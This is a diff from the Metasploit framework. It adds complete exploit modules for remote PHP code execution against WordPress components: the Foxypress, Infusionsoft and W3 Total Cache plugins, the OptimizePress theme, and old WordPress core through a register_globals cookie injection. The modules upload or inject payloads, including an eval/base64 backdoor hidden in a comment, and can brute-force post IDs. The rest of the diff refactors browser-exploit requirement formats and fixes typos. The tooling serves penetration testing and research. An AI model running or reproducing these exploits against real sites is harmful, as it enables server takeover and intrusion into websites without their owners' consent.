||||
|
||||
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
|
|
|
@ -0,0 +1,85 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
|
||||
'Description' => %q(
|
||||
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
|
||||
file upload and remote code execution via the uploadify.php script. The Foxypress
|
||||
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Sammy FORGIT', # Vulnerability Discovery, PoC
|
||||
'patrick' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '18991'],
|
||||
['OSVDB' '82652'],
|
||||
['BID', '53805'],
|
||||
['WPVDB', '6231']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
|
||||
'DisclosureDate' => 'Jun 05 2012',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
|
||||
)
|
||||
|
||||
return Exploit::CheckCode::Detected if res && res.code == 200
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
|
||||
|
||||
print_status("#{peer} - Sending PHP payload")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
|
||||
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||
return
|
||||
end
|
||||
|
||||
filename = "#{Regexp.last_match[1]}.php"
|
||||
|
||||
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
|
||||
register_files_for_cleanup(filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
|
||||
)
|
||||
|
||||
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
|
||||
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
|
||||
upload and remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'g0blin', # Vulnerability Discovery
|
||||
'us3r777 <us3r777@n0b0.so>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6446'],
|
||||
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
|
||||
['WPVDB', '7634']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
|
||||
'DisclosureDate' => 'Sep 25 2014',
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||
'Infusionsoft', 'utilities', 'code_generator.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'fileNamePattern' => php_pagename,
|
||||
'fileTemplate' => payload.encoded
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
|
||||
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
|
||||
register_files_for_cleanup(php_pagename)
|
||||
else
|
||||
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling payload ...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
|
||||
'Infusionsoft', 'utilities', php_pagename)
|
||||
}, 2)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,79 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||
blogging software. This vulnerability is only present when the PHP 'register_globals'
|
||||
option is enabled (common for hosting providers). All versions of WordPress prior to
|
||||
1.5.1.3 are affected.
|
||||
},
|
||||
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2005-2612'],
|
||||
['OSVDB', '18672'],
|
||||
['BID', '14533'],
|
||||
['WPVDB', '6034']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find'
|
||||
},
|
||||
'Space' => 512
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Aug 9 2005',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
|
||||
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
|
||||
data =
|
||||
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
|
||||
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
|
||||
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
|
||||
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
|
||||
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
|
||||
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
|
||||
|
||||
# Trigger the command execution bug
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'cookie' => data
|
||||
}, 25)
|
||||
|
||||
if (res)
|
||||
print_status("The server returned: #{res.code} #{res.message}")
|
||||
else
|
||||
print_status("No response from the server")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,147 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
|
||||
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
|
||||
an attacker to upload arbitrary PHP code. This module has been tested successfully on
|
||||
OptimizePress 1.45.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'United of Muslim Cyber Army', # Vulnerability discovery
|
||||
'Mekanismen' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
|
||||
[ 'WPVDB', '7441' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['OptimizePress', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 29 2013'
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
#get upload filepath
|
||||
print_status("#{peer} - Getting the upload path...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||
end
|
||||
|
||||
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
|
||||
file_path = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
|
||||
end
|
||||
|
||||
#set cookie
|
||||
cookie = res.get_cookies
|
||||
|
||||
filename = rand_text_alphanumeric(8) + ".php"
|
||||
|
||||
#upload payload
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
|
||||
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
|
||||
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
|
||||
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
|
||||
|
||||
print_status("#{peer} - Uploading PHP payload...")
|
||||
|
||||
n_data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
|
||||
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||||
'data' => n_data,
|
||||
'headers' => {
|
||||
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
|
||||
#get path to payload
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||||
end
|
||||
|
||||
payload_url = ""
|
||||
|
||||
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
|
||||
payload_url =$1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
|
||||
end
|
||||
|
||||
begin
|
||||
u = URI(payload_url)
|
||||
rescue ::URI::InvalidURIError
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
|
||||
end
|
||||
|
||||
register_files_for_cleanup(File::basename(u.path))
|
||||
|
||||
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => u.path
|
||||
})
|
||||
end
|
||||
end
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP Code Injection vulnerability against WordPress plugin
|
||||
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
||||
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
||||
aren't allowed, then a valid username and password must be provided. In addition,
|
||||
the "A comment is held for moderation" option on WordPress must be unchecked for
|
||||
successful exploitation. This module has been tested against WordPress 3.5 and
|
||||
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez', # Metasploit module
|
||||
'hdm', # Metasploit module
|
||||
'Christian Mehlmauer' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2010' ],
|
||||
[ 'OSVDB', '92652' ],
|
||||
[ 'BID', '59316' ],
|
||||
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
|
||||
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
|
||||
[ 'WPVDB', '6622' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' => [ ['Wordpress 3.5', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 17 2013'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
||||
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
||||
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
|
||||
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
|
||||
])
|
||||
end
|
||||
|
||||
def require_auth?
|
||||
@user = datastore['USERNAME']
|
||||
@password = datastore['PASSWORD']
|
||||
|
||||
if @user and @password and not @user.empty? and not @password.empty?
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def post_comment(text)
|
||||
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
|
||||
|
||||
if @auth
|
||||
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
||||
else
|
||||
author = rand_text_alpha(8)
|
||||
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
|
||||
author_url = rand_text_alpha(8)
|
||||
uri = wordpress_post_comment_no_auth(php_payload,
|
||||
@post_id,
|
||||
author,
|
||||
author_email,
|
||||
author_url
|
||||
)
|
||||
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
|
||||
end
|
||||
uri
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless wordpress_and_online?
|
||||
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||
end
|
||||
|
||||
@auth = require_auth?
|
||||
|
||||
if @auth
|
||||
print_status("#{peer} - Trying to login...")
|
||||
@cookie = wordpress_login(@user, @password)
|
||||
if @cookie.nil?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||
end
|
||||
print_status("#{peer} - login successful")
|
||||
else
|
||||
print_status("#{peer} - Trying unauthenticated exploitation...")
|
||||
end
|
||||
|
||||
if datastore['POSTID'] and datastore['POSTID'] != 0
|
||||
@post_id = datastore['POSTID']
|
||||
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||
else
|
||||
print_status("#{peer} - Trying to get posts from feed...")
|
||||
all_posts = wordpress_get_all_blog_posts_via_feed
|
||||
# First try all blog posts provided by feed
|
||||
if all_posts
|
||||
all_posts.each do |p|
|
||||
vprint_status("#{peer} - Checking #{p}...")
|
||||
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
||||
@post_id = get_post_id_from_body(enabled)
|
||||
if @post_id
|
||||
print_status("#{peer} - Found Post POST ID #{@post_id}...")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
# if nothing found, bruteforce a post id
|
||||
unless @post_id
|
||||
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
|
||||
min_post_id = datastore['MIN_POST_ID']
|
||||
max_post_id = datastore['MAX_POST_ID']
|
||||
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||
if @post_id.nil?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
random_test = rand_text_alpha(64)
|
||||
@sum = Rex::Text.sha1(random_test)
|
||||
|
||||
print_status("#{peer} - Injecting the PHP Code in a comment...")
|
||||
text = Rex::Text::rand_text_alpha(10)
|
||||
post_uri = post_comment(text)
|
||||
if post_uri.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => post_uri,
|
||||
'headers' => {
|
||||
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
||||
'Sum' => random_test
|
||||
}
|
||||
}
|
||||
options.merge!({'cookie' => @cookie}) if @auth
|
||||
# Used to see anonymous, moderated comments
|
||||
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and res.code == 301
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
||||
end
|
||||
|
||||
if res and !res.body.match(/#{Regexp.escape(text)}/)
|
||||
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
res = wordpress_and_online?
|
||||
unless res
|
||||
vprint_error("#{peer} does not seeem to be Wordpress site")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
|
||||
version = $1
|
||||
if version <= "0.9.2.8"
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
end
|
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command(@payload_exe)
|
||||
|
|
|
@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
|
||||
method: 'LoadMovie'
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\./ }
|
||||
|
|
|
@ -51,8 +51,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
|
||||
method: 'LoadMovie'
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
|
||||
|
|
|
@ -46,8 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{#{CLASSID}}",
|
||||
:method => "LoadMovie",
|
||||
:activex => [
|
||||
{
|
||||
clsid: "{#{CLASSID}}",
|
||||
method: "LoadMovie"
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
|
||||
|
|
|
@ -55,8 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:activex => [
|
||||
{
|
||||
clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
method: "LoadMovie"
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
|
||||
|
|
|
@ -43,8 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => /MSIE/i,
|
||||
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
|
||||
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
|
||||
:method => "GetColor"
|
||||
:activex => [
|
||||
{
|
||||
clsid: "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
|
||||
method: "GetColor"
|
||||
}
|
||||
]
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -45,8 +45,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
:method => "ChooseFilePath",
|
||||
:activex => [
|
||||
{
|
||||
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
|
||||
method: "ChooseFilePath"
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
},
|
||||
'Targets' =>
|
||||
|
|
|
@ -73,8 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}",
|
||||
:method => "requiredClaims",
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}',
|
||||
method: 'requiredClaims'
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS_XP
|
||||
},
|
||||
'Targets' =>
|
||||
|
|
|
@ -277,10 +277,7 @@ end function
|
|||
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
||||
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
||||
|
||||
payload_src = (datastore['SSL'] ? 'https' : 'http')
|
||||
payload_src << '://'
|
||||
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
|
||||
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
|
||||
payload_src = "#{gif_name}"
|
||||
|
||||
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
||||
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Code execution occurs by writing to the All Users Startup Programs directory.
|
||||
You may want to combine this module with the use of multi/handler since a
|
||||
user would have to log for the payloda to execute.
|
||||
user would have to log for the payload to execute.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'jduck' ],
|
||||
|
|
|
@ -44,7 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}',
|
||||
method: 'SetText'
|
||||
}
|
||||
],
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:ua_ver => '10.0'
|
||||
|
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module explots the Racer Car and Racing Simulator game
|
||||
This module exploits the Racer Car and Racing Simulator game
|
||||
versions v0.5.3 beta 5 and earlier. Both the client and server listen
|
||||
on UDP port 26000. By sending an overly long buffer we are able to
|
||||
execute arbitrary code remotely.
|
||||
|
|
|
@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
